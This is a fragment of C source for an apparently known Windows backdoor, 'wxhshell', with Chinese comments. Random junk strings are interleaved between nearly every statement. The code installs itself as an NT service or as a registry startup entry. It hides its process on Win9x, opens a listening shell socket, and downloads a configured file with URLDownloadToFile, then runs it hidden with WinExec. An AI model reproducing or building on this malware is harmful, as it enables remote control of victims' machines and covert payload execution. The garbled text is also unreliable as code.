< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pz&=5F if(!hProcess) return 0; YQ]H3GA y{<#pS. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xeI ,Kz." 9wq%Fnt CloseHandle(hProcess); @&Nvb.5nT KV5lpN PC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1=;QWb6 if(hProcess==NULL) return 0; m|]^f;7z Z@[,"{Sn HMODULE hMod; :>X7(&j8 char procName[255]; I
}/Oi]jA6 unsigned long cbNeeded; 'd t}i< Y;Ur8q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M)J *Df0@ ^X&9"x)4 CloseHandle(hProcess); \W}EyA lTB!yF.r| if(strstr(procName,"services")) return 1; // 以服务启动 wFJK!9KA8 pt4xUu{ return 0; // 注册表启动 %UQ{'JW?K } ,oG"wgf zJnVO$A' // 主模块 r6$=|Yto int StartWxhshell(LPSTR lpCmdLine) KvD$`"L/CT { {cv;S2 SOCKET wsl; I)Lb"
BOOL val=TRUE;
7k\7G= int port=0; lXPn]iLJ struct sockaddr_in door; ya_'Oz!C U2AGH2emw if(wscfg.ws_autoins) Install(); vLS9V/o !X8UP{J)L port=atoi(lpCmdLine); =P#!>*\ar \a6)t%u if(port<=0) port=wscfg.ws_port; %f-<ol $dnHUBB WSADATA data; Nb#7&_f= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WsV3>=@f iTt=aQjd if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >1~`tP setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .]e6TFsrO door.sin_family = AF_INET; <!N;(nZ9}O door.sin_addr.s_addr = inet_addr("127.0.0.1"); z}8YrVr@ door.sin_port = htons(port); j?,*fp8 u W|x)g11a if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -*lP1Nbp closesocket(wsl); YxtkI:C? return 1; {^f0RGJg9 } Q*C4
q` D9C}Dys if(listen(wsl,2) == INVALID_SOCKET) { Cv~hU%1T closesocket(wsl); Qf|}%}%fp return 1; "?{yVu~9 } VjqdKQeVq Wxhshell(wsl); S1zw'!O5 WSACleanup(); S<_pGz$V nwo!A3w: return 0; IA^)`l 7H I.u,f:Fl' } |+:ZO5FaO D%idlL2%J // 以NT服务方式启动 >>bYg VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oPy zk7{ { ]R{"=H' DWORD status = 0; +2}(]J=- DWORD specificError = 0xfffffff;
fE*I+pe | q16%6q serviceStatus.dwServiceType = SERVICE_WIN32; D&r8V;G[[ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8-5jr_* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mG~y8nUtp serviceStatus.dwWin32ExitCode = 0; qE72(#:R* serviceStatus.dwServiceSpecificExitCode = 0; -HsBV>C serviceStatus.dwCheckPoint = 0; DP_Pqn8p&M serviceStatus.dwWaitHint = 0; iFCH$! I|IlFu?O= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (A'q@-XQ if (hServiceStatusHandle==0) return; |<|,RI? V3W85_* status = GetLastError(); NydW9r:T if (status!=NO_ERROR) k6-n.Rl01 { Gr@{p"./z serviceStatus.dwCurrentState = SERVICE_STOPPED; N`Xnoehu serviceStatus.dwCheckPoint = 0; *Z`eNz} serviceStatus.dwWaitHint = 0; `7%eA9*.m serviceStatus.dwWin32ExitCode = status; E@jl: -*E serviceStatus.dwServiceSpecificExitCode = specificError; 4_%FSW8- SetServiceStatus(hServiceStatusHandle, &serviceStatus);
CDYx/yO return; uHro%UAd } ^X;Xti ePRM v serviceStatus.dwCurrentState = SERVICE_RUNNING; {}o>nenx\ serviceStatus.dwCheckPoint = 0; -fx88 serviceStatus.dwWaitHint = 0; lq8ko@ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m90R8 V } .XKvk(9 '(pdk // 处理NT服务事件,比如:启动、停止 d+2O^of:T VOID WINAPI NTServiceHandler(DWORD fdwControl) J8v:a`bX& { h==GdS4 switch(fdwControl) 8}oDRN!J { f5GR#3-h( case SERVICE_CONTROL_STOP: x0A%kp&w serviceStatus.dwWin32ExitCode = 0; cNr][AzU@ serviceStatus.dwCurrentState = SERVICE_STOPPED; <Ihed| serviceStatus.dwCheckPoint = 0; mjl!Nth:< serviceStatus.dwWaitHint = 0; n{Qh8" { 3d'ikkXK SetServiceStatus(hServiceStatusHandle, &serviceStatus); y [9}[NMZ } A%*DQ1N return; R,w54}, case SERVICE_CONTROL_PAUSE: T :S{3 serviceStatus.dwCurrentState = SERVICE_PAUSED; uP=_-ZUW break; e3={$A h case SERVICE_CONTROL_CONTINUE: O?,i? serviceStatus.dwCurrentState = SERVICE_RUNNING; ) .-(-6=R break; Bb[0\Hs7 case SERVICE_CONTROL_INTERROGATE: lcT+$4zk. break; TnBG MI,g' }; ]<;i}n|
< SetServiceStatus(hServiceStatusHandle, &serviceStatus); y]pN=<*h5 } ]6%%X+$7 Q xF8=p // 标准应用程序主函数 `?o1cf A
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fAM4Q { jbhJ;c : x\bR j>%( // 获取操作系统版本 W8yfa[z~J OsIsNt=GetOsVer(); ;Q>3N( GetModuleFileName(NULL,ExeFile,MAX_PATH); W3V{Xk| LYy:IBI7_ // 从命令行安装 T3t~=b>&L if(strpbrk(lpCmdLine,"iI")) Install(); /IJ9_To 88np/jvC{ // 下载执行文件
)47j8jL if(wscfg.ws_downexe) { =7]Q6h@X if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aBVEk2 p WinExec(wscfg.ws_filenam,SW_HIDE); 3@ F+ E\k } ,Z*3,/a @2~O^5[> if(!OsIsNt) { 0o=6A<#x // 如果时win9x,隐藏进程并且设置为注册表启动 K]pKe"M HideProc(); P$6f +{ StartWxhshell(lpCmdLine); :YJ7J4 } [%iUg\'7d else ^Q)gsJY|I if(StartFromService()) -90ZI1O` // 以服务方式启动 F%_,]^ n[ StartServiceCtrlDispatcher(DispatchTable); 3n84YX{ else zsMw5C // 普通方式启动 Fy_<Ui StartWxhshell(lpCmdLine); p[@oF5M _KM $u>B8 return 0; hKH$AEHEU} }
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